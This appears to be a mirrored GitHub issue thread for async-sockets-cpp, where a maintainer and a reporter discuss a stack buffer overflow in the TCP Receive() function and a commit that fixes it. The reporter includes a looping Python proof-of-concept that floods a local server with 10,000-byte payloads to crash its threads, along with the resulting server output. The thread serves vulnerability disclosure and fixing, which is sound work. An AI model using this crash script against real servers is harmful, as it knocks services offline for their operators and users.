Hi! It appears that async-sockets-cpp contains a remote buffer overf

Deion from recv()'s <a href="https://man7.org/linux/man-pages/man2/recv.2.html"

<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="18

<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/us

Stack buffer overflow in static void Receive(TCPSocket* socket) at tcpsocket.hpp about async-sockets-cpp HOT 3 CLOSED

eminfedar commented on June 25, 2024 2

Stack buffer overflow in static void Receive(TCPSocket* socket) at tcpsocket.hpp

from async-sockets-cpp.

Comments (3)

eminfedar commented on June 25, 2024

Description from recv()'s manual:

All three calls return the length of the message on successful completion. If a message
is too long to fit in the supplied buffer, excess bytes may be discarded depending on the
type of socket the message is received from.

So as far as I understand from the manual, recv() should fill the buffer only for the given length in "len" parameter. There shouldn't be a buffer overflow if you create a buffer with a length and give it as len parameter..

Because of we are creating a buffer with BUFFER_SIZE length and expecting only read until BUFFER_SIZE amount of bytes to the buffer from recv(), it shouldn't crash.

async-sockets-cpp/async-sockets/include/tcpsocket.hpp

Lines 99 to 102 in d66588d

 char tempBuffer[BUFFER_SIZE]; 

 ssize_t messageLength; 

 while ((messageLength = recv(socket->sock, tempBuffer, BUFFER_SIZE, 0)) > 0)

I have tried too, I set the buffer size to 0x10 (16) and send "123456789123456789123456789" (length=27).

The result was just as the manual defined. It didn't crash. "recv()" got the packages 16 by 16 until it the whole message ends.

from async-sockets-cpp.

eminfedar commented on June 25, 2024

#32 (comment)

from async-sockets-cpp.

Halcy0nic commented on June 25, 2024

@eminfedar

Commit 78641cfde398d2cd71649f6911ee1bf4953498c0 resolves this issue.

Just a couple of notes:

The thread will crash if you send enough bytes in a single packet (i.e. 10,000). For example, from the ASAN output it looks like memory access at offset 4224 overflows tempBuffer:

[128, 4224) 'tempBuffer' (line 99) <== Memory access at offset 4224 overflows this variable

The application is threaded, so initially the thread will crash. If you crash enough threads consecutively you will receive a SIGPIPE, and the application will crash:

Python3 Script

import socket

host = "localhost"
port = 8888                   # The same port as used by the server
buf = b'A'*10000               # Overflow happens at 4095 bytes

while(True):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(buf)
        data = s.recv(1024)
        s.close()
        #print('Received', repr(data))
    except:
        print("Completed...")

TCP Server

$ ./tcp-server

127.0.0.1:37186 => AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Thread 7069 "tcp-server" received signal SIGPIPE, Broken pipe.
127.0.0.1:37172 -> 107
Socket closed:127.0.0.1:37186 -> 107
[Thread 0x7ffff52186c0 (LWP 2430882) exited]
[Thread 0x7ffff5a196c0 (LWP 2430883) exited]

from async-sockets-cpp.

Stack buffer overflow in static void Receive(TCPSocket* socket) at tcpsocket.hpp about async-sockets-cpp HOT 3 CLOSED

Comments (3)

Python3 Script

TCP Server

Related Issues (20)

Recommend Projects

React

Vue.js

Typescript

TensorFlow

Django

Laravel

D3

Recommend Topics

javascript

web

server

Machine learning

Visualization

Game

Recommend Org

Facebook

Microsoft

Google

Alibaba

D3

Tencent

	char tempBuffer[BUFFER_SIZE];
	ssize_t messageLength;

	while ((messageLength = recv(socket->sock, tempBuffer, BUFFER_SIZE, 0)) > 0)